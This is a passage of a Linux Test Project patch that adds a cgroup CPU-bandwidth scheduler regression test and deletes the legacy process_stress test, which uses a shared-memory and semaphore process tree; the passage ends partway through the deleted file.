+++ b/testcases/kernel/sched/cfs-scheduler/Makefile
@@ -18,8 +18,8 @@
 
 top_srcdir		?= ../../../..
 
-include $(top_srcdir)/include/mk/env_pre.mk
+include $(top_srcdir)/include/mk/testcases.mk
 
-LDLIBS			+= -lpthread
+hackbench: LDLIBS			+= -lpthread
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/sched/cfs-scheduler/cfs_bandwidth01.c b/testcases/kernel/sched/cfs-scheduler/cfs_bandwidth01.c
new file mode 100644
index 0000000..8f2da44
--- /dev/null
+++ b/testcases/kernel/sched/cfs-scheduler/cfs_bandwidth01.c
@@ -0,0 +1,189 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/* Copyright (c) 2021 SUSE LLC <rpalethorpe@suse.com> */
+/*\
+ *
+ * [Description]
+ *
+ * Creates a multi-level CGroup hierarchy with the cpu controller
+ * enabled. The leaf groups are populated with "busy" processes which
+ * simulate intermittent cpu load. They spin for some time then sleep
+ * then repeat.
+ *
+ * Both the trunk and leaf groups are set cpu bandwidth limits. The
+ * busy processes will intermittently exceed these limits. Causing
+ * them to be throttled. When they begin sleeping this will then cause
+ * them to be unthrottle.
+ *
+ * The test is known to reproduce an issue with an update to
+ * SLE-15-SP1 (kernel 4.12.14-197.64, bsc#1179093).
+ *
+ * Also as an reproducer for another bug:
+ *
+ *    commit fdaba61ef8a268d4136d0a113d153f7a89eb9984
+ *    Author: Rik van Riel <riel@surriel.com>
+ *    Date:   Mon Jun 21 19:43:30 2021 +0200
+ *
+ *    sched/fair: Ensure that the CFS parent is added after unthrottling
+ */
+
+#include <stdlib.h>
+
+#include "tst_test.h"
+#include "tst_timer.h"
+
+static struct tst_cg_group *cg_level2, *cg_level3a, *cg_level3b;
+static struct tst_cg_group *cg_workers[3];
+static int may_have_waiters = 0;
+
+static void set_cpu_quota(const struct tst_cg_group *const cg,
+			  const float quota_percent)
+{
+	const unsigned int period_us = 10000;
+	const unsigned int quota_us = (quota_percent / 100) * (float)period_us;
+
+	if (!TST_CG_VER_IS_V1(cg, "cpu")) {
+		SAFE_CG_PRINTF(cg, "cpu.max",
+				   "%u %u", quota_us, period_us);
+	} else {
+		SAFE_CG_PRINTF(cg, "cpu.cfs_period_us",
+				  "%u", period_us);
+		SAFE_CG_PRINTF(cg, "cpu.max",
+				   "%u", quota_us);
+	}
+
+	tst_res(TINFO, "Set '%s/cpu.max' = '%d %d'",
+		tst_cg_group_name(cg), quota_us, period_us);
+}
+
+static void mk_cpu_cgroup(struct tst_cg_group **cg,
+			  const struct tst_cg_group *const cg_parent,
+			  const char *const cg_child_name,
+			  const float quota_percent)
+
+{
+	*cg = tst_cg_group_mk(cg_parent, "%s", cg_child_name);
+
+	set_cpu_quota(*cg, quota_percent);
+}
+
+static void busy_loop(const unsigned int sleep_ms)
+{
+	for (;;) {
+		tst_timer_start(CLOCK_MONOTONIC_RAW);
+		while (!tst_timer_expired_ms(20))
+			;
+
+		const int ret = tst_checkpoint_wait(0, sleep_ms);
+
+		if (!ret)
+			exit(0);
+
+		if (errno != ETIMEDOUT)
+			tst_brk(TBROK | TERRNO, "tst_checkpoint_wait");
+	}
+}
+
+static void fork_busy_procs_in_cgroup(const struct tst_cg_group *const cg)
+{
+	const unsigned int sleeps_ms[] = {3000, 1000, 10};
+	const pid_t worker_pid = SAFE_FORK();
+	size_t i;
+
+	if (worker_pid)
+		return;
+
+	for (i = 0; i < ARRAY_SIZE(sleeps_ms); i++) {
+		const pid_t busy_pid = SAFE_FORK();
+
+		if (!busy_pid)
+			busy_loop(sleeps_ms[i]);
+
+		SAFE_CG_PRINTF(cg, "cgroup.procs", "%d", busy_pid);
+	}
+
+	tst_reap_children();
+
+	exit(0);
+}
+
+static void do_test(void)
+{
+	size_t i;
+
+	may_have_waiters = 1;
+	for (i = 0; i < ARRAY_SIZE(cg_workers); i++)
+		fork_busy_procs_in_cgroup(cg_workers[i]);
+
+	tst_res(TPASS, "Scheduled bandwidth constrained workers");
+
+	sleep(1);
+
+	set_cpu_quota(cg_level2, 50);
+
+	sleep(2);
+
+	TST_CHECKPOINT_WAKE2(0, 3 * 3);
+	tst_reap_children();
+	may_have_waiters = 0;
+
+	tst_res(TPASS, "Workers exited");
+}
+
+static void setup(void)
+{
+	cg_level2 = tst_cg_group_mk(tst_cg, "level2");
+
+	cg_level3a = tst_cg_group_mk(cg_level2, "level3a");
+	mk_cpu_cgroup(&cg_workers[0], cg_level3a, "worker1", 30);
+	mk_cpu_cgroup(&cg_workers[1], cg_level3a, "worker2", 20);
+
+	cg_level3b = tst_cg_group_mk(cg_level2, "level3b");
+	mk_cpu_cgroup(&cg_workers[2], cg_level3b, "worker3", 30);
+}
+
+static void cleanup(void)
+{
+	size_t i;
+
+	if (may_have_waiters) {
+		TST_CHECKPOINT_WAKE2(0, 3 * 3);
+		tst_reap_children();
+		may_have_waiters = 0;
+	}
+
+	for (i = 0; i < ARRAY_SIZE(cg_workers); i++) {
+		if (cg_workers[i])
+			cg_workers[i] = tst_cg_group_rm(cg_workers[i]);
+	}
+
+	if (cg_level3a)
+		cg_level3a = tst_cg_group_rm(cg_level3a);
+	if (cg_level3b)
+		cg_level3b = tst_cg_group_rm(cg_level3b);
+	if (cg_level2)
+		cg_level2 = tst_cg_group_rm(cg_level2);
+}
+
+static struct tst_test test = {
+	.test_all = do_test,
+	.setup = setup,
+	.cleanup = cleanup,
+	.forks_child = 1,
+	.needs_checkpoints = 1,
+	.max_runtime = 20,
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_CFS_BANDWIDTH",
+		NULL
+	},
+	.needs_cgroup_ctrls = (const char *const []){"cpu", NULL},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "39f23ce07b93"},
+		{"linux-git", "b34cb07dde7c"},
+		{"linux-git", "fe61468b2cbc"},
+		{"linux-git", "5ab297bab984"},
+		{"linux-git", "6d4d22468dae"},
+		{"linux-git", "fdaba61ef8a2"},
+		{ }
+	}
+};
diff --git a/testcases/kernel/sched/process_stress/.gitignore b/testcases/kernel/sched/process_stress/.gitignore
deleted file mode 100644
index b2d4946..0000000
--- a/testcases/kernel/sched/process_stress/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-/process
diff --git a/testcases/kernel/sched/process_stress/Makefile b/testcases/kernel/sched/process_stress/Makefile
deleted file mode 100644
index 011017c..0000000
--- a/testcases/kernel/sched/process_stress/Makefile
+++ /dev/null
@@ -1,29 +0,0 @@
-#
-#    kernel/sched/process_test testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Ngie Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-CPPFLAGS		+= -D_LINUX
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/sched/process_stress/process.c b/testcases/kernel/sched/process_stress/process.c
deleted file mode 100644
index a5ff809..0000000
--- a/testcases/kernel/sched/process_stress/process.c
+++ /dev/null
@@ -1,1270 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-#include <sys/mman.h>
-#include <ctype.h>
-#include <errno.h>
-#include <signal.h>
-#include <stdarg.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <unistd.h>
-
-#ifndef _LINUX
-			/* LINUX INCLUDES */
-#include <sys/mode.h>
-#include <sys/timers.h>
-#else
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/ipc.h>
-#endif
-#include <sys/msg.h>
-#include <sys/resource.h>
-#include <sys/select.h>
-#include <sys/shm.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include "lapi/sem.h"
-
-/* indexes into environment variable array */
-#define ADBG 0
-#define BNDX 1
-#define DNDX 2
-#define TNDX 3
-#define MAXBVAL 70
-#define MAXDVAL 11
-#define SLOTDIR "./slot/"
-
-#ifdef _LINUX
-			/* LINUX #defnes */
-#ifndef TRUE
-#define TRUE 1
-#endif
-#ifndef FALSE
-#define FALSE 0
-#endif
-#endif
-
-#if defined _LINUX && defined DEBUG
-#define prtln()	printf("At line number: %d\n", __LINE__); \
-		fflush(NULL)
-#define dprt(fmt, args...) printf(fmt, ## args)
-#else
-#define prtln()
-#define dprt(fmt, args...)
-#endif
-
-/* aliases for environment variable entries */
-#define    AUSDEBUG  (*edat[ADBG].eval.vint)	/* debug value */
-#define    BVAL  (*edat[BNDX].eval.vint)	/* # of childern per parent */
-#define    DVAL  (*edat[DNDX].eval.vint)	/* depth of process tree */
-#define    TVAL  (*edat[TNDX].eval.vint)	/* timer value */
-
-#ifdef _LINUX
-typedef long mtyp_t;
-#endif
-
-/* structure of information stored about each process in shared memory */
-typedef struct proc_info {
-#ifdef __64LDT__
-	pid_t pid;		/* process id */
-	pid_t ppid;		/* parent process id */
-#else
-	int pid;		/* process id */
-	int ppid;		/* parent process id */
-#endif
-	int msg;		/* parent process id */
-	int err;		/* error indicator */
-	int *list;		/* pointer to list of parent and sibling slot locations */
-} Pinfo;
-
-typedef struct messagebuf {
-	mtyp_t mtyp;		/* message type */
-	char mtext[80];		/* message text */
-} Msgbuf;
-
-union semun semarg;
-
-/* structure of all environment variable used by program */
-struct envstruct {
-	char *env_name;
-	union {
-		char *chptr;
-		int *vint;
-	} eval;
-} envdata[] = {
-	{
-		"AUSDBG", {
-	"0"}}, {
-		"BVAL", {
-	"3"}}, {
-		"DVAL", {
-	"2"}}, {
-		"FORCE", {
-	"0"}}, {
-		"TVAL", {
-	"1"}}, {
-		"", {
-	""}}
-};
-
-char *errfile;			/* pointer to errfile name */
-
-int msgid;			/* message queue for leaf nodes */
-int msgerr;			/* message queue for errors */
-int nodesum;			/* total number of process to be created */
-int sem_count;			/* counter semaphore */
-int sem_lock;			/* locks access to counter semaphore */
-int shmid;			/* global shared memory id varible */
-int procgrp;			/* process group id */
-
-timer_t timer;			/* timer structure */
-
-Pinfo *shmaddr;			/* Start address  of shared memory */
-
-#ifndef _LINUX
-FILE *errfp = stderr;		/* error file pointer, probably not necessary */
-FILE *debugfp = stderr;		/* debug file pointer, used if AUSDEBUG set */
-#else
-#define errfp stderr
-#define debugfp stderr
-#endif
-
-struct envstruct *edat = envdata;	/* pointer to environment data */
-
-/* external function declarations */
-extern int killpg(int procgrp, int sig);
-extern timer_t gettimerid(int Timer_type, int Notify_type);
-extern int reltimerid(timer_t timer);
-
-/* internal function declarations */
-void cleanup(int sig, int code, struct sigcontext *scp);
-void nextofkin(int sig, int code, struct sigcontext *scp);
-void doit(void);
-void debugout(char *fmt, ...);
-int getenv_val(void);
-void messenger(void);
-void nextofkin(int sig, int code, struct sigcontext *scp);
-int notify(int slot);
-void parse_args(int argc, char *argv[]);
-void print_shm(void);
-Pinfo *put_proc_info(int tval);
-void rm_msgqueue(void);
-void rm_semseg(void);
-void rm_shmseg(void);
-int semoper(int slot, int smid, int opval);
-int send_message(int id, mtyp_t type, char *text);
-void set_timer(void);
-void set_signals(void *sighandler());
-void setup_msgqueue(void);
-void setup_semaphores(void);
-void setup_shm(void);
-void severe(char *fmt, ...);
-Pinfo *shmgetseg(void);
-int spawn(int val);
-unsigned long sumit(int B, int D);
-
-/*
- *  Prints out the data structures in shared memory.
- */
-void print_shm(void)
-{
-	extern int nodesum;	/* total number of nodes created */
-	extern Pinfo *shmaddr;	/* shared memory pointer */
-	extern int shmid;	/* shared memory id */
-
-	Pinfo *pinfo;		/* pointer to process info in shared memory */
-	int *listp;		/* pointer to sibling info in shared memory */
-	int i, j;		/* counters */
-	struct shmid_ds buf;
-
-	if (shmctl(shmid, IPC_STAT, &buf))
-		return;
-
-	for (pinfo = shmaddr, i = 0; i < nodesum; i++, pinfo++) {
-		fprintf(errfp,
-			"slot: %-4d pid: %-6d ppid: %-6d msg: %-2d err: %-2d lst:",
-			i, pinfo->pid, pinfo->ppid, pinfo->msg, pinfo->err);
-		for (j = 0, listp = pinfo->list; j < BVAL; j++, listp++)
-			fprintf(errfp, " %d", *listp);
-		fprintf(errfp, "\n");
-	}
-}
-
-/*
- *  Generalized send routine.  Sends a message on message queue.
- */
-int send_message(int id, mtyp_t type, char *text)
-{
-	int rc;
-
-	Msgbuf sndbuf;
-
-	strcpy(sndbuf.mtext, text);
-	sndbuf.mtyp = type;
-	while (TRUE) {
-		rc = msgsnd(id, &sndbuf, sizeof(struct messagebuf), IPC_NOWAIT);
-		if (rc == -1 && errno == EAGAIN) {
-			debugout("msgqueue %d of mtyp %d not ready to send\n",
-				 msgid, type);
-			errno = 0;
-		} else
-			return (rc);
-	}
-}
-
-/*
- *  Sends error message to initial parent (messenger).i
- */
-void severe(char *fmt, ...)
-{
-	va_list args;
-	int rc;
-	char mtext[80];
-	extern int msgerr;
-
-	va_start(args, fmt);
-	vsprintf(mtext, fmt, args);
-	va_end(args);
-
-	rc = send_message(msgerr, 2, mtext);
-	if (rc == -1) {
-		perror("cannot send message to msgerr");
-		exit(1);
-	}
-}
-
-/*
- *  if AUSDEBUG set will print information to file associated with slot number.
- */
-void debugout(char *fmt, ...)
-{
-	va_list args;
-
-	if (AUSDEBUG) {
-		va_start(args, fmt);
-		vfprintf(debugfp, fmt, args);
-		va_end(args);
-	}
-}
-
-/*
- *  Remove message queues.
- */
-void rm_msgqueue(void)
-{
-	extern int msgid;
-
-	/* remove message queue id. */
-	if (msgctl(msgid, IPC_RMID, NULL) && errno != EINVAL) {
-		fprintf(errfp, "msgctl failed msgid: errno %d\n", errno);
-		perror("msgctl failed");
-	}
-
-	/* remove message queue id. */
-	if (msgctl(msgerr, IPC_RMID, NULL) && errno != EINVAL) {
-		fprintf(errfp, "msgctl failed msgerr: errno %d\n", errno);
-		perror("msgctl failed");
-	}
-}
-
-/*
- *  Remove shared memory segment.
- */
-void rm_shmseg(void)
-{
-	extern int shmid;	/* Global shared memory id */
-	extern Pinfo *shmaddr;	/* Global shared memory address */
-
-	/* remove shared memory id (and shared memory segment). */
-	if (shmctl(shmid, IPC_RMID, NULL) && errno != EINVAL) {
-		fprintf(errfp, "shmctl failed: errno %d\n", errno);
-		perror("shmctl failed");
-	}
-}
-
-/*
- *  Remove semaphores.
- */
-void rm_semseg(void)
-{
-	extern int sem_lock;
-	extern int sem_count;
-
-	/* remove sem_lock semaphore id */
-	semarg.val = 0;		/* to fix problem with 4th arg of semctl in 64 bits MARIOG */
-	if (semctl(sem_lock, 0, IPC_RMID, semarg.val) && errno != EINVAL) {
-		fprintf(errfp, "semctl failed: errno %d\n", errno);
-		perror("semctl failed");
-	}
-	/* remove sem_count semaphore id. */
-	semarg.val = 0;		/* to fix problem with 4th arg of semctl in 64 bits MARIOG */
-	if (semctl(sem_count, 0, IPC_RMID, semarg.val) && errno != EINVAL) {
-		fprintf(errfp, "semctl failed: errno %d\n", errno);
-		perror("semctl failed");
-	}
-}
-
-/*
- * Routine to clean up shared memory and return exit status (CHILD handler).
- */
-void cleanup(int sig, int code, struct sigcontext *scp)
-{
-	int rc;
-	char mtext[80];
-
-	killpg(procgrp, SIGTERM);
-	sprintf(mtext, "%d", sig);
-	rc = send_message(msgerr, 3, mtext);
-	if (rc == -1) {
-		severe("msgsnd failed: %d msgid %d mtyp %d mtext %d\n",
-		       errno, msgerr, 3, mtext);
-	}
-}
-
-/*
- * Routine to clean up shared memory and return exit status (PARENT handler).
- */
-void nextofkin(int sig, int code, struct sigcontext *scp)
-{
-	int rc;
-	char mtext[80];
-
-	sprintf(mtext, "%d", sig);
-	rc = send_message(msgerr, 3, mtext);
-	if (rc == -1) {
-		severe("msgsnd failed: %d msgid %d mtyp %d mtext %d\n",
-		       errno, msgerr, 3, mtext);
-	}
-#ifndef _LINUX
-	reltimerid(timer);
-#endif
-	exit(1);
-}
-
-/* given breadth and depth of a tree, sum up total number of nodes created */
-unsigned long sumit(int B, int D)
-{
-	int i;
-	int exp = 1;		/* exponent of breadth */
-	unsigned long sum = 1;	/* running sum of nodes */
-
-	for (sum = 1, i = 1; i <= D; i++) {
-		exp = B * exp;
-		sum += (int)exp;
-	}
-	return (sum);
-}
-
-/* Finds correct slot for current process in shared memory and stores
- * information about process in it.
- */
-Pinfo *put_proc_info(int tval)
-{
-	extern int nodesum;
-	extern Pinfo *shmaddr;
-
-	int sibslot = 0;	/* sibling slot number */
-	int *listp;		/* ptr to sibling info for current proc */
-	Pinfo *smp;		/* ptr to current process data slot */
-
-	smp = shmaddr + tval;
-	smp->pid = getpid();
-	smp->ppid = getppid();
-	smp->err = 0;
-	smp->msg = 0;
-
-	/* if very first process (slot 0), dont fill in info about siblings
-	 *  and parent.  Sibling and parent info is irrevelant in this case.
-	 */
-	if (!tval)
-		return (smp);
-
-	/* find parent of current process and store slot location */
-	smp->list = (int *)(Pinfo *) (shmaddr + nodesum) + (BVAL * tval);
-	*smp->list = (tval - 1) / BVAL;
-	listp = smp->list + 1;
-
-	/* calculate and store sibling slot numbers of current process */
-	for (sibslot = *smp->list * BVAL + 1; listp < smp->list + BVAL;
-	     sibslot++) {
-		if (tval != sibslot)
-			*(listp++) = sibslot;
-	}
-	return (smp);
-}
-
-/* This routine sends a message from the current process to all of her
- * siblings and then waits to receive responses from them.  A timer is
- * set so that if a message is lost or not received for some reason
- * we can exit gracefully.
- */
-int notify(int slot)
-{
-	extern int msgid;
-	extern Pinfo *shmaddr;
-
-	int i;
-	int rc;
-	int tslot;
-	int *listp = (shmaddr + slot)->list;
-	int cldcnt = 1;
-	int ndx = 0;
-#ifdef __64LDT__
-	pid_t pid = 0;
-#else
-	int pid = 0;
-#endif
-	char mtext[80];
-
-	Msgbuf rcvbuf;
-
-	for (i = 1, listp++; i < BVAL; i++, listp++) {
-		sprintf(mtext, "%d %d %d", i, slot, (shmaddr + slot)->pid);
-		rc = send_message(msgid, (mtyp_t) * listp, mtext);
-		if (rc == -1) {
-			severe
-			    ("notify: send_message Failed: %d msgid %d mtyp %d mtext %d\n",
-			     errno, msgid, *listp, mtext);
-			exit(1);
-		}
-	}
-
-	while (cldcnt < BVAL) {
-		rc = msgrcv(msgid, &rcvbuf, sizeof(struct messagebuf), slot, 0);
-		if (rc == -1) {
-			switch (errno) {
-			case EAGAIN:
-				printf("msgqueue %d not ready to receive\n",
-				       msgid);
-				fflush(stdout);
-				errno = 0;
-				break;
-			case ENOMSG:
-				printf("msgqueue %d no message\n", msgid);
-				fflush(stdout);
-				errno = 0;
-				break;
-			default:
-				perror("msgrcv failed");
-				severe("msgrcv failed, errno: %d\n", errno);
-				exit(1);
-			}
-		} else {
-			sscanf(rcvbuf.mtext, "%d %d %d", &ndx, &tslot, &pid);
-			if (*((shmaddr + tslot)->list + ndx) == slot &&
-			    (shmaddr + tslot)->pid == pid) {
-				debugout
-				    ("MSGRCV:slot: %d ndx: %d tslot: %d pid: %d\n",
-				     slot, ndx, tslot, pid);
-				(shmaddr + slot)->msg++;
-				cldcnt++;
-			} else {
-				(shmaddr + slot)->err--;
-				debugout
-				    ("MSGRCV: slot: %d ndx: %d tslot: %d pid: %d\n",
-				     slot, ndx, tslot, pid);
-			}
-		}
-	}
-	return 0;
-}
-
-/*
- * Calculates semaphore number and sets semaphore (lock).
- */
-int semoper(int slot, int smid, int opval)
-{
-	int pslot;		/* parent slot */
-	struct sembuf smop;	/* semaphore operator */
-
-	pslot = (slot - 1) / BVAL;	/* calculate parent node */
-	smop.sem_num = pslot;
-	smop.sem_op = opval;
-	smop.sem_flg = 0;
-	semop(smid, &smop, 1);
-	return (pslot);
-}
-
-/*
- * This is the meat and potatoes of the program.  Spawn creates a tree
- * of processes with Dval depth and Bval breadth.  Each parent will spawn
- * Bval children.  Each child will store information about themselves
- * in shared memory.  The leaf nodes will communicate the existence
- * of one another through message queues, once each leaf node has
- * received communication from all of her siblings she will reduce
- * the semaphore count and exit.  Meanwhile all parents are waiting
- * to hear from their children through the use of semaphores.  When
- * the semaphore count reaches zero then the parent knows all the
- * children have talked to one another.  Locking of the connter semaphore
- * is provided by the use of another (binary) semaphore.
- */
-int spawn(int val)
-{
-	extern int sem_count;	/* used to keep track of childern */
-	extern int sem_lock;	/* used to lock access to sem_count semaphore */
-
-	int i;			/* Breadth counter */
-	static int level = 0;	/* level counter */
-	int lvlflg = 0;		/* level toggle, limits parental spawning
-				   to one generation */
-	int pslot = 0;
-#ifdef __64LDT__
-	pid_t pid;		/* pid of child process */
-#else
-	int pid;		/* pid of child process */
-#endif
-	Pinfo *pinfo;		/* pointer to process information in shared mem */
-	int semval;		/* value of semaphore ( equals BVAL initially */
-	static int tval = 1;	/* tree node value of child. */
-
-	char foo[1024];
-
-	level++;
-
-	for (i = 1; i <= BVAL; i++) {
-		tval = (val * BVAL) + i;
-		if (!lvlflg) {
-			pid = fork();
-			if (!pid) {	/* CHILD */
-				if (AUSDEBUG) {
-					sprintf(foo, "%sslot%d", SLOTDIR, tval);
-					debugfp = fopen(foo, "a+");
-				}
-				pinfo = put_proc_info(tval);
-
-				debugout
-				    ("pid: %-6d ppid: %-6d lev: %-2d i: %-2d val: %-3d\n",
-				     pinfo->pid, pinfo->ppid, level, i, tval);
-
-				set_timer();	/* set up signal handlers and initialize pgrp */
-				if (level < DVAL) {
-					if (spawn(tval) == -1) {
-						pslot =
-						    semoper(tval, sem_lock, -1);
-						semarg.val = 0;	/* to fix problem with 4th arg of semctl in 64 bits MARIOG */
-						semval =
-						    semctl(sem_count, pslot,
-							   GETVAL, semarg);
-						semarg.val = --semval;	/* to fix problem with 4th arg of semctl in 64 bits MARIOG */
-						semctl(sem_count, pslot, SETVAL,
-						       semarg);
-						semarg.val = 1;	/* to fix problem with 4th arg of semctl in 64 bits MARIOG */
-						semctl(sem_lock, pslot, SETVAL,
-						       semarg);
-					}
-					lvlflg++;
-				} else {	/* leaf node */
-					notify(tval);
-					return (-1);
-				}
-			}
-#ifdef __64LDT__
-			else if (pid > 0 && i >= BVAL) {	/* PARENT */
-#else
-			else if (pid > (pid_t) 0 && i >= BVAL) {	/* PARENT */
-#endif
-				pslot = semoper(tval, sem_count, 0);
-				pslot = semoper(pslot, sem_lock, -1);
-				semarg.val = 0;	/* to fix problem with 4th arg of semctl in 64 bits MARIOG */
-				semval =
-				    semctl(sem_count, pslot, GETVAL, semarg);
-				semarg.val = --semval;	/* to fix problem with 4th arg of semctl in 64 bits MARIOG */
-				semctl(sem_count, pslot, SETVAL, semarg);
-				semarg.val = 1;	/* to fix problem with 4th arg of semctl in 64 bits MARIOG */
-				semctl(sem_lock, pslot, SETVAL, semarg);
-				(shmaddr + val)->msg++;
-			}
-#ifdef __64LDT__
-			else if (pid < (pid_t) 0) {
-#else
-			else if (pid < 0) {
-#endif
-				perror("spawn: fork failed");
-				severe
-				    ("spawn: fork failed, exiting with errno %d\n",
-				     errno);
-				exit(1);
-			} else
-				(shmaddr + val)->msg++;
-		}
-	}
-	return (pslot);
-}
-
-/*
- * Allocate message queues.
- */
-void setup_msgqueue(void)
-{
-	extern int msgid;
-	extern int msgerr;
-
-	msgid = msgget(IPC_PRIVATE,
-		       IPC_CREAT | IPC_EXCL | S_IRUSR | S_IWUSR | S_IRGRP |
-		       S_IWGRP);
-	if (msgid == -1) {
-		perror("msgget msgid failed");
-		fprintf(stderr, " SEVERE : msgget msgid failed: errno %d\n",
-			errno);
-		exit(1);
-	}
-
-	msgerr = msgget(IPC_PRIVATE,
-			IPC_CREAT | IPC_EXCL | S_IRUSR | S_IWUSR | S_IRGRP |
-			S_IWGRP);
-	if (msgerr == -1) {
-		perror("msgget msgerr failed");
-		fprintf(stderr, " SEVERE : msgget msgerr failed: errno %d\n",
-			errno);
-		exit(1);
-	}
-}
-
-/*
- * Set up and initialize all semaphores
- */
-void setup_semaphores(void)
-{
-	extern int sem_count;
-	extern int sem_lock;
-
-	int i;
-	int rc;
-
-	prtln();
-	sem_lock = semget(IPC_PRIVATE, nodesum - 1,
-			  IPC_CREAT | IPC_EXCL | S_IRUSR | S_IWUSR | S_IRGRP |
-			  S_IWGRP);
-	dprt("nodesum = %d, sem_lock = %d\n", nodesum, sem_lock);
-
-	prtln();
-	if (sem_lock == -1) {
-		perror("semget failed for sem_lock");
-		fprintf(stderr,
-			" SEVERE : semget failed for sem_lock, errno: %d\n",
-			errno);
-		rm_shmseg();
-		exit(1);
-	}
-
-	prtln();
-	sem_count = semget(IPC_PRIVATE, nodesum - 1,
-			   IPC_CREAT | IPC_EXCL | S_IRUSR | S_IWUSR | S_IRGRP |
-			   S_IWGRP);
-
-	if (sem_count == -1) {
-		perror("semget failed for sem_count");
-		fprintf(stderr,
-			" SEVERE : semget failed for sem_count, errno: %d\n",
-			errno);
-		rm_shmseg();
-		exit(1);
-	}
-	prtln();
-
-	for (i = 0; i < (nodesum - 1); i++) {
-		semarg.val = 1;	/* to fix problem with 4th arg of semctl in 64 bits MARIOG */
-		rc = semctl(sem_lock, i, SETVAL, semarg);
-		prtln();
-		if (rc == -1) {
-			perror("semctl failed for sem_lock failed");
-			fprintf(stderr,
-				" SEVERE : semctl failed for sem_lock, errno: %d\n",
-				errno);
-			rm_shmseg();
-			exit(1);
-		}
-
-		semarg.val = BVAL;	/* to fix problem with 4th arg of semctl in 64 bits MARIOG */
-		rc = semctl(sem_count, i, SETVAL, semarg);
-		prtln();
-		if (rc == -1) {
-			perror("semctl failed for sem_lock failed");
-			fprintf(stderr,
-				" SEVERE : semctl failed for sem_lock, errno: %d\n",
-				errno);
-			rm_shmseg();
-			exit(1);
-		}
-	}
-}
-
-/*
- * Set up and allocate shared memory.
- */
-void setup_shm(void)
-{
-	extern int nodesum;	/* global shared memory id */
-	extern int shmid;	/* global shared memory id */
-	extern Pinfo *shmaddr;
-
-	int i, j;		/* counters */
-	Pinfo *shmad = NULL;	/* ptr to start of shared memory. */
-	Pinfo *pinfo = NULL;	/* ptr to struct in shared memory. */
-
-	debugout("size = %d, size (in hex) =  %#x  nodes: %d\n",
-		 sizeof(Pinfo) * nodesum + (nodesum * BVAL * sizeof(int)),
-		 sizeof(Pinfo) * nodesum + (nodesum * BVAL * sizeof(int)),
-		 nodesum);
-
-	/* Get shared memory id */
-	shmid = shmget(IPC_PRIVATE,
-		       sizeof(Pinfo) * nodesum + (nodesum * BVAL * sizeof(int)),
-		       IPC_CREAT | IPC_EXCL | S_IRUSR | S_IWUSR | S_IRGRP |
-		       S_IWGRP);
-	if (shmid < 0) {
-		perror("shmget failed");
-		fprintf(stderr, " SEVERE : shmget failed: errno %d\n", errno);
-		exit(1);
-	}
-
-	/* allocate shared memory */
-
-	if ((shmad = shmat(shmid, (char *)shmad, 0)) == MAP_FAILED) {
-		printf("SEVERE : shmat failed\n");
-		exit(1);
-	} else {
-		shmctl(shmid, IPC_RMID, NULL);
-	}
-
-	/* set all fields in shared memory to -1 */
-	for (pinfo = shmad, i = 0; i < nodesum; i++, pinfo++) {
-#ifdef __64LDT__
-		pinfo->pid = (pid_t) - 1;
-		pinfo->ppid = (pid_t) - 1;
-#else
-		pinfo->pid = -1;
-		pinfo->ppid = -1;
-#endif
-		pinfo->msg = -1;
-		pinfo->err = -1;
-
-		/* Changed 10/9/97 */
-		/* pinfo->list = (int *)((ulong)shmad + nodesum * sizeof(Pinfo)
-		   + (sizeof(int) * BVAL * i)); */
-		pinfo->list =
-		    (int *)((long)shmad + nodesum * sizeof(Pinfo) +
-			    (sizeof(int) * BVAL * i));
-		for (j = 0; j < BVAL; j++)
-			*(pinfo->list + j) = -1;
-	}
-	shmaddr = shmad;
-}
-
-/*
- * Set up Signal handler and which signals to catch
- */
-void set_signals(void *sighandler())
-{
-	int i;
-	int rc;
-
-	struct sigaction action;
-
-	/* list of signals we want to catch */
-	static struct signalinfo {
-		int signum;
-		char *signame;
-	} siginfo[] = {
-		{
-		SIGHUP, "SIGHUP"}, {
-		SIGINT, "SIGINT"}, {
-		SIGQUIT, "SIGQUIT"}, {
-		SIGABRT, "SIGABRT"}, {
-		SIGBUS, "SIGBUS"}, {
-		SIGSEGV, "SIGSEGV"}, {
-		SIGALRM, "SIGALRM"}, {
-		SIGUSR1, "SIGUSR1"}, {
-		SIGUSR2, "SIGUSR2"}, {
-		-1, "ENDSIG"}
-	};
-
-	char tmpstr[1024];
-
-	action.sa_handler = (void *)sighandler;
-
-#ifdef _LINUX
-	sigfillset(&action.sa_mask);
-#else
-	SIGINITSET(action.sa_mask);
-#endif
-	action.sa_flags = 0;
-
-	/* Set the signal handler up */
-#ifdef _LINUX
-	sigaddset(&action.sa_mask, SIGTERM);
-#else
